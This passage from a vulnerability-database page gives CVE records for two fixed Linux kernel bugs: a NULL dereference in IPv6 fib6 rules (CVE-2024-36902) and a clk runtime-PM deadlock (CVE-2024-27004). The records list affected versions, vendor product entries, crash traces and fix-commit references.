            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:00.838Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/fib6_rules.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4a5a573387da6a6b23a4cc62147453ff1bc32afa",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "ddec23f206a944c73bcc2724358b85388837daff",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "674c951ab8a23f7aff9b4c3f2f865901bc76a290",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "35297fc68de36826087e976f86a5b1f94fd0bf95",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "7e3242c139c38e60844638e394c2877b16b396b0",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "8745a8d74ba17dafe72b6ab461fa6c007d879747",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "1876881c9a49613b5249fb400cbf53412d90cb09",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            },
            {
              "lessThan": "d101291b2681e5ab938554e3e323f7a7ee33e3aa",
              "status": "affected",
              "version": "5e5f3f0f801321078c897a5de0b4b4304f234da0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/fib6_rules.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.26"
            },
            {
              "lessThan": "2.6.26",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.314",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.276",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.314",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.276",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fib6_rules: avoid possible NULL dereference in fib6_rule_action()\n\nsyzbot is able to trigger the following crash [1],\ncaused by unsafe ip6_dst_idev() use.\n\nIndeed ip6_dst_idev() can return NULL, and must always be checked.\n\n[1]\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\nCPU: 0 PID: 31648 Comm: syz-executor.0 Not tainted 6.9.0-rc4-next-20240417-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\n RIP: 0010:__fib6_rule_action net/ipv6/fib6_rules.c:237 [inline]\n RIP: 0010:fib6_rule_action+0x241/0x7b0 net/ipv6/fib6_rules.c:267\nCode: 02 00 00 49 8d 9f d8 00 00 00 48 89 d8 48 c1 e8 03 42 80 3c 20 00 74 08 48 89 df e8 f9 32 bf f7 48 8b 1b 48 89 d8 48 c1 e8 03 \u003c42\u003e 80 3c 20 00 74 08 48 89 df e8 e0 32 bf f7 4c 8b 03 48 89 ef 4c\nRSP: 0018:ffffc9000fc1f2f0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: 1a772f98c8186700\nRDX: 0000000000000003 RSI: ffffffff8bcac4e0 RDI: ffffffff8c1f9760\nRBP: ffff8880673fb980 R08: ffffffff8fac15ef R09: 1ffffffff1f582bd\nR10: dffffc0000000000 R11: fffffbfff1f582be R12: dffffc0000000000\nR13: 0000000000000080 R14: ffff888076509000 R15: ffff88807a029a00\nFS:  00007f55e82ca6c0(0000) GS:ffff8880b9400000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b31d23000 CR3: 0000000022b66000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  fib_rules_lookup+0x62c/0xdb0 net/core/fib_rules.c:317\n  fib6_rule_lookup+0x1fd/0x790 net/ipv6/fib6_rules.c:108\n  ip6_route_output_flags_noref net/ipv6/route.c:2637 [inline]\n  ip6_route_output_flags+0x38e/0x610 net/ipv6/route.c:2649\n  ip6_route_output include/net/ip6_route.h:93 [inline]\n  ip6_dst_lookup_tail+0x189/0x11a0 net/ipv6/ip6_output.c:1120\n  ip6_dst_lookup_flow+0xb9/0x180 net/ipv6/ip6_output.c:1250\n  sctp_v6_get_dst+0x792/0x1e20 net/sctp/ipv6.c:326\n  sctp_transport_route+0x12c/0x2e0 net/sctp/transport.c:455\n  sctp_assoc_add_peer+0x614/0x15c0 net/sctp/associola.c:662\n  sctp_connect_new_asoc+0x31d/0x6c0 net/sctp/socket.c:1099\n  __sctp_connect+0x66d/0xe30 net/sctp/socket.c:1197\n  sctp_connect net/sctp/socket.c:4819 [inline]\n  sctp_inet_connect+0x149/0x1f0 net/sctp/socket.c:4834\n  __sys_connect_file net/socket.c:2048 [inline]\n  __sys_connect+0x2df/0x310 net/socket.c:2065\n  __do_sys_connect net/socket.c:2075 [inline]\n  __se_sys_connect net/socket.c:2072 [inline]\n  __x64_sys_connect+0x7a/0x90 net/socket.c:2072\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:42.400Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4a5a573387da6a6b23a4cc62147453ff1bc32afa"
        },
        {
          "url": "https://git.kernel.org/stable/c/ddec23f206a944c73bcc2724358b85388837daff"
        },
        {
          "url": "https://git.kernel.org/stable/c/674c951ab8a23f7aff9b4c3f2f865901bc76a290"
        },
        {
          "url": "https://git.kernel.org/stable/c/35297fc68de36826087e976f86a5b1f94fd0bf95"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e3242c139c38e60844638e394c2877b16b396b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/8745a8d74ba17dafe72b6ab461fa6c007d879747"
        },
        {
          "url": "https://git.kernel.org/stable/c/1876881c9a49613b5249fb400cbf53412d90cb09"
        },
        {
          "url": "https://git.kernel.org/stable/c/d101291b2681e5ab938554e3e323f7a7ee33e3aa"
        }
      ],
      "title": "ipv6: fib6_rules: avoid possible NULL dereference in fib6_rule_action()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36902",
    "datePublished": "2024-05-30T15:29:04.298Z",
    "dateReserved": "2024-05-30T15:25:07.066Z",
    "dateUpdated": "2026-05-12T11:54:00.838Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27004 (GCVE-0-2024-27004)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:28 – Updated: 2026-05-12 11:51

Title

clk: Get runtime PM before walking tree during disable_unused

Summary

In the Linux kernel, the following vulnerability has been resolved: clk: Get runtime PM before walking tree during disable_unused Doug reported [1] the following hung task: INFO: task swapper/0:1 blocked for more than 122 seconds. Not tainted 5.15.149-21875-gf795ebc40eb8 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:swapper/0 state:D stack: 0 pid: 1 ppid: 0 flags:0x00000008 Call trace: __switch_to+0xf4/0x1f4 __schedule+0x418/0xb80 schedule+0x5c/0x10c rpm_resume+0xe0/0x52c rpm_resume+0x178/0x52c __pm_runtime_resume+0x58/0x98 clk_pm_runtime_get+0x30/0xb0 clk_disable_unused_subtree+0x58/0x208 clk_disable_unused_subtree+0x38/0x208 clk_disable_unused_subtree+0x38/0x208 clk_disable_unused_subtree+0x38/0x208 clk_disable_unused_subtree+0x38/0x208 clk_disable_unused+0x4c/0xe4 do_one_initcall+0xcc/0x2d8 do_initcall_level+0xa4/0x148 do_initcalls+0x5c/0x9c do_basic_setup+0x24/0x30 kernel_init_freeable+0xec/0x164 kernel_init+0x28/0x120 ret_from_fork+0x10/0x20 INFO: task kworker/u16:0:9 blocked for more than 122 seconds. Not tainted 5.15.149-21875-gf795ebc40eb8 #1 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:kworker/u16:0 state:D stack: 0 pid: 9 ppid: 2 flags:0x00000008 Workqueue: events_unbound deferred_probe_work_func Call trace: __switch_to+0xf4/0x1f4 __schedule+0x418/0xb80 schedule+0x5c/0x10c schedule_preempt_disabled+0x2c/0x48 __mutex_lock+0x238/0x488 __mutex_lock_slowpath+0x1c/0x28 mutex_lock+0x50/0x74 clk_prepare_lock+0x7c/0x9c clk_core_prepare_lock+0x20/0x44 clk_prepare+0x24/0x30 clk_bulk_prepare+0x40/0xb0 mdss_runtime_resume+0x54/0x1c8 pm_generic_runtime_resume+0x30/0x44 __genpd_runtime_resume+0x68/0x7c genpd_runtime_resume+0x108/0x1f4 __rpm_callback+0x84/0x144 rpm_callback+0x30/0x88 rpm_resume+0x1f4/0x52c rpm_resume+0x178/0x52c __pm_runtime_resume+0x58/0x98 __device_attach+0xe0/0x170 device_initial_probe+0x1c/0x28 bus_probe_device+0x3c/0x9c device_add+0x644/0x814 mipi_dsi_device_register_full+0xe4/0x170 devm_mipi_dsi_device_register_full+0x28/0x70 ti_sn_bridge_probe+0x1dc/0x2c0 auxiliary_bus_probe+0x4c/0x94 really_probe+0xcc/0x2c8 __driver_probe_device+0xa8/0x130 driver_probe_device+0x48/0x110 __device_attach_driver+0xa4/0xcc bus_for_each_drv+0x8c/0xd8 __device_attach+0xf8/0x170 device_initial_probe+0x1c/0x28 bus_probe_device+0x3c/0x9c deferred_probe_work_func+0x9c/0xd8 process_one_work+0x148/0x518 worker_thread+0x138/0x350 kthread+0x138/0x1e0 ret_from_fork+0x10/0x20 The first thread is walking the clk tree and calling clk_pm_runtime_get() to power on devices required to read the clk hardware via struct clk_ops::is_enabled(). This thread holds the clk prepare_lock, and is trying to runtime PM resume a device, when it finds that the device is in the process of resuming so the thread schedule()s away waiting for the device to finish resuming before continuing. The second thread is runtime PM resuming the same device, but the runtime resume callback is calling clk_prepare(), trying to grab the prepare_lock waiting on the first thread. This is a classic ABBA deadlock. To properly fix the deadlock, we must never runtime PM resume or suspend a device with the clk prepare_lock held. Actually doing that is near impossible today because the global prepare_lock would have to be dropped in the middle of the tree, the device runtime PM resumed/suspended, and then the prepare_lock grabbed again to ensure consistency of the clk tree topology. If anything changes with the clk tree in the meantime, we've lost and will need to start the operation all over again. Luckily, most of the time we're simply incrementing or decrementing the runtime PM count on an active device, so we don't have the chance to schedule away with the prepare_lock held. Let's fix this immediate problem that can be ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/253ab38d1ee652a59…
https://git.kernel.org/stable/c/4af115f1a20a3d909…
https://git.kernel.org/stable/c/a29ec0465dce0b871…
https://git.kernel.org/stable/c/a424e713e0cc33d4b…
https://git.kernel.org/stable/c/60ff482c4205a5aac…
https://git.kernel.org/stable/c/11555486229439759…
https://git.kernel.org/stable/c/e581cf5d216289ef2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < 253ab38d1ee652a596942156978a233970d185ba (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < 4af115f1a20a3d9093586079206ee37c2ac55123 (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < a29ec0465dce0b871003698698ac6fa92c9a5034 (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < a424e713e0cc33d4b969cfda25b9f46df4d7b5bc (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < 60ff482c4205a5aac3b0595ab794cfd62295dab5 (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < 115554862294397590088ba02f11f2aba6d5016c (git) Affected: 9a34b45397e5a389e25a0c5d39983300d040e5e2 , < e581cf5d216289ef292d1a4036d53ce90e122469 (git)
Linux	Linux	Affected: 4.15 Unaffected: 0 , < 4.15 (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.88 , ≤ 6.1.* (semver) Unaffected: 6.6.29 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27004",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:40:33.489522Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:46:18.836Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:16:29.861Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/253ab38d1ee652a596942156978a233970d185ba"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4af115f1a20a3d9093586079206ee37c2ac55123"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a29ec0465dce0b871003698698ac6fa92c9a5034"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a424e713e0cc33d4b969cfda25b9f46df4d7b5bc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/60ff482c4205a5aac3b0595ab794cfd62295dab5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/115554862294397590088ba02f11f2aba6d5016c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e581cf5d216289ef292d1a4036d53ce90e122469"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:04.231Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/clk/clk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "253ab38d1ee652a596942156978a233970d185ba",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "4af115f1a20a3d9093586079206ee37c2ac55123",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "a29ec0465dce0b871003698698ac6fa92c9a5034",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "a424e713e0cc33d4b969cfda25b9f46df4d7b5bc",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "60ff482c4205a5aac3b0595ab794cfd62295dab5",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "115554862294397590088ba02f11f2aba6d5016c",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            },
            {
              "lessThan": "e581cf5d216289ef292d1a4036d53ce90e122469",
              "status": "affected",
              "version": "9a34b45397e5a389e25a0c5d39983300d040e5e2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/clk/clk.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.15"
            },
            {
              "lessThan": "4.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.88",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.88",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.29",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: Get runtime PM before walking tree during disable_unused\n\nDoug reported [1] the following hung task:\n\n INFO: task swapper/0:1 blocked for more than 122 seconds.\n       Not tainted 5.15.149-21875-gf795ebc40eb8 #1\n \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:swapper/0       state:D stack:    0 pid:    1 ppid:     0 flags:0x00000008\n Call trace:\n  __switch_to+0xf4/0x1f4\n  __schedule+0x418/0xb80\n  schedule+0x5c/0x10c\n  rpm_resume+0xe0/0x52c\n  rpm_resume+0x178/0x52c\n  __pm_runtime_resume+0x58/0x98\n  clk_pm_runtime_get+0x30/0xb0\n  clk_disable_unused_subtree+0x58/0x208\n  clk_disable_unused_subtree+0x38/0x208\n  clk_disable_unused_subtree+0x38/0x208\n  clk_disable_unused_subtree+0x38/0x208\n  clk_disable_unused_subtree+0x38/0x208\n  clk_disable_unused+0x4c/0xe4\n  do_one_initcall+0xcc/0x2d8\n  do_initcall_level+0xa4/0x148\n  do_initcalls+0x5c/0x9c\n  do_basic_setup+0x24/0x30\n  kernel_init_freeable+0xec/0x164\n  kernel_init+0x28/0x120\n  ret_from_fork+0x10/0x20\n INFO: task kworker/u16:0:9 blocked for more than 122 seconds.\n       Not tainted 5.15.149-21875-gf795ebc40eb8 #1\n \"echo 0 \u003e /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n task:kworker/u16:0   state:D stack:    0 pid:    9 ppid:     2 flags:0x00000008\n Workqueue: events_unbound deferred_probe_work_func\n Call trace:\n  __switch_to+0xf4/0x1f4\n  __schedule+0x418/0xb80\n  schedule+0x5c/0x10c\n  schedule_preempt_disabled+0x2c/0x48\n  __mutex_lock+0x238/0x488\n  __mutex_lock_slowpath+0x1c/0x28\n  mutex_lock+0x50/0x74\n  clk_prepare_lock+0x7c/0x9c\n  clk_core_prepare_lock+0x20/0x44\n  clk_prepare+0x24/0x30\n  clk_bulk_prepare+0x40/0xb0\n  mdss_runtime_resume+0x54/0x1c8\n  pm_generic_runtime_resume+0x30/0x44\n  __genpd_runtime_resume+0x68/0x7c\n  genpd_runtime_resume+0x108/0x1f4\n  __rpm_callback+0x84/0x144\n  rpm_callback+0x30/0x88\n  rpm_resume+0x1f4/0x52c\n  rpm_resume+0x178/0x52c\n  __pm_runtime_resume+0x58/0x98\n  __device_attach+0xe0/0x170\n  device_initial_probe+0x1c/0x28\n  bus_probe_device+0x3c/0x9c\n  device_add+0x644/0x814\n  mipi_dsi_device_register_full+0xe4/0x170\n  devm_mipi_dsi_device_register_full+0x28/0x70\n  ti_sn_bridge_probe+0x1dc/0x2c0\n  auxiliary_bus_probe+0x4c/0x94\n  really_probe+0xcc/0x2c8\n  __driver_probe_device+0xa8/0x130\n  driver_probe_device+0x48/0x110\n  __device_attach_driver+0xa4/0xcc\n  bus_for_each_drv+0x8c/0xd8\n  __device_attach+0xf8/0x170\n  device_initial_probe+0x1c/0x28\n  bus_probe_device+0x3c/0x9c\n  deferred_probe_work_func+0x9c/0xd8\n  process_one_work+0x148/0x518\n  worker_thread+0x138/0x350\n  kthread+0x138/0x1e0\n  ret_from_fork+0x10/0x20\n\nThe first thread is walking the clk tree and calling\nclk_pm_runtime_get() to power on devices required to read the clk\nhardware via struct clk_ops::is_enabled(). This thread holds the clk\nprepare_lock, and is trying to runtime PM resume a device, when it finds\nthat the device is in the process of resuming so the thread schedule()s\naway waiting for the device to finish resuming before continuing. The\nsecond thread is runtime PM resuming the same device, but the runtime\nresume callback is calling clk_prepare(), trying to grab the\nprepare_lock waiting on the first thread.\n\nThis is a classic ABBA deadlock. To properly fix the deadlock, we must\nnever runtime PM resume or suspend a device with the clk prepare_lock\nheld. Actually doing that is near impossible today because the global\nprepare_lock would have to be dropped in the middle of the tree, the\ndevice runtime PM resumed/suspended, and then the prepare_lock grabbed\nagain to ensure consistency of the clk tree topology. If anything\nchanges with the clk tree in the meantime, we\u0027ve lost and will need to\nstart the operation all over again.\n\nLuckily, most of the time we\u0027re simply incrementing or decrementing the\nruntime PM count on an active device, so we don\u0027t have the chance to\nschedule away with the prepare_lock held. Let\u0027s fix this immediate\nproblem that can be\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:33.176Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/253ab38d1ee652a596942156978a233970d185ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/4af115f1a20a3d9093586079206ee37c2ac55123"
        },
        {
          "url": "https://git.kernel.org/stable/c/a29ec0465dce0b871003698698ac6fa92c9a5034"
        },
        {
